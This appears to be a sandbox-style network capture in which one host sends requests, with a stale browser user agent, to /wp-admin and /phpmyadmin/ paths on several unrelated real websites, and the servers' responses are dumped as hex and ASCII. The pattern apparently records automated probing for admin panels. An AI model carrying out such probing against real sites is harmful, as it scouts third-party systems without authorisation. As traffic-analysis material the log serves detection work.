2023-12-20 02:13:31 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.4	60747	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	236	OUT	GET /wp-admin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.u90soccercenter.com/wp-login.php
2023-12-20 02:13:31 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038411.36216508838782515060 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:31 GMT X-Served-By: cache-dfw-kdfw8210063-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalrV91c9IXaI4k7yD7eLjqadvZ+42rZnypKPQWCyUorxk2CQYRnV6AUZwSxvRZCs5CA==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:31 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:31 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:31 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:31 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.4	60256	96.45.112.177	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	182	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	562	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: PHPSESSID=58534ccdc77568bb0c0a7d02de432123; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=4011426926; expires=Thu, 21-Dec-2023 02:13:31 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:32 UTC	15822	IN	Data Raw: 33 64 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 53 69 74 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: 3dde<!doctype html><html class="no-js"lang="en-US"><head itemscope itemtype="http://schema.org/WebSite"> <meta charset="UTF-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, init
2023-12-20 02:13:32 UTC	16384	IN	Data Raw: 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 22 3e 0d 0a 64 62 32 65 0d 0a 48 6f 6d 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 32 31 32 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 22 3e 53 65 61 72 63 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 Data Ascii: w.texasopendoor.com/">db2eHome</a> </li> <li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-7212"> <a href="/search">Search</a> </li> <li c
2023-12-20 02:13:32 UTC	16384	IN	Data Raw: 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 67 65 6f 72 67 65 74 6f 77 6e 2d 68 6f 6d 65 73 2d 34 30 30 30 30 30 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 47 65 6f 72 67 65 74 6f 77 6e 20 48 6f 6d 65 73 20 24 34 30 30 2c 30 30 30 20 41 6e 64 20 55 70 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 Data Ascii: //www.texasopendoor.com/georgetown-homes-400000/"><span class="menu-item-subcat-title">Georgetown Homes $400,000 And Up</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-objec
2023-12-20 02:13:32 UTC	16384	IN	Data Raw: 6e 64 2d 72 6f 63 6b 2d 77 61 74 65 72 66 72 6f 6e 74 2d 68 6f 6d 65 73 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 57 61 74 65 72 66 72 6f 6e 74 20 48 6f 6d 65 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 38 32 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: nd-rock-waterfront-homes/"><span class="menu-item-subcat-title">Waterfront Homes</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-7824">
2023-12-20 02:13:32 UTC	6995	IN	Data Raw: 6c 6c 62 61 63 6b 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 69 64 3d 22 6c 6f 67 69 6e 2d 77 2d 67 6f 6f 67 6c 65 22 20 64 61 74 61 2d 61 63 74 69 6f 6e 3d 22 73 69 67 6e 2d 69 6e 2d 67 6f 6f 67 6c 65 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 64 65 66 61 75 6c 74 20 62 74 6e 2d 6c 67 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 47 6f 6f 67 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 67 6f 6f 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 20 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 20 47 6f 6f Data Ascii: llback" value="https://www.texasopendoor.com/phpmyadmin/"> <a id="login-w-google" data-action="sign-in-google" class="btn btn-default btn-lg" href="#" title="Sign In with Google"><span class="fa fa-google"></span> Continue with Goo

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.4	58960	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	238	OUT	GET /wp-admin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.newriverclimbing.com/wp-login.php
2023-12-20 02:13:31 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038411.36316553156717923427 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:31 GMT X-Served-By: cache-dfw-kdfw8210090-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqMQhUjPXFZZ6QMfhZ0ZUmYa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalh9SeLIPsxiyFFqZQP3hiC3HUc+ryXLjmG/jGZ/5hOd6206gXp3PXJZe6lvXhqbl0A==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:31 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:31 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:31 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:31 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.4	59326	83.98.155.23	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	170	OUT	GET / HTTP/1.1 Host: www.a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	345	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:31 GMT Server: Apache/2 Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 135277 Cache-Control: max-age=0, public Expires: Wed, 20 Dec 2023 02:13:31 GMT X-Powered-By: WP Rocket/3.14.1 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:31 UTC	7847	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 2d 4e 4c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 73 63 72 69 70 74 20 69 64 3d 22 64 69 76 69 61 72 65 61 2d 6c 6f 61 64 65 72 22 3e 77 69 6e 64 6f 77 2e 44 69 Data Ascii: <!DOCTYPE html><html lang="nl-NL"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><script type="text/javascript">document.documentElement.className = 'js';</script><script id="diviarea-loader">window.Di
2023-12-20 02:13:31 UTC	8000	IN	Data Raw: 61 6e 74 3b 77 69 64 74 68 3a 31 33 25 7d 2e 65 74 5f 70 62 5f 64 69 76 69 64 65 72 5f 30 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 66 33 39 34 31 65 7d 2e 65 74 5f 70 62 5f 74 65 78 74 5f 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 38 65 6d 7d 62 6f 64 79 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 5f 30 7b 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 62 6f 64 79 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f Data Ascii: ant;width:13%}.et_pb_divider_0:before{border-top-color:#f3941e}.et_pb_text_2{font-weight:300;line-height:1.8em}body #page-container .et_pb_section .et_pb_button_0{color:#ffffff!important;border-radius:70px;font-size:14px}body #page-container .et_pb_sectio
2023-12-20 02:13:31 UTC	8000	IN	Data Raw: 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 65 20 6d 65 65 73 74 20 65 66 66 69 63 69 c3 ab 6e 74 65 20 72 6f 75 74 65 20 6e 61 61 72 20 69 6e 74 65 72 6e 65 74 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 Data Ascii: t","description":"De meest efficinte route naar internet","publisher":{"@id":"https://www.a2b-internet.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.a2b-internet.com/?s={search_t
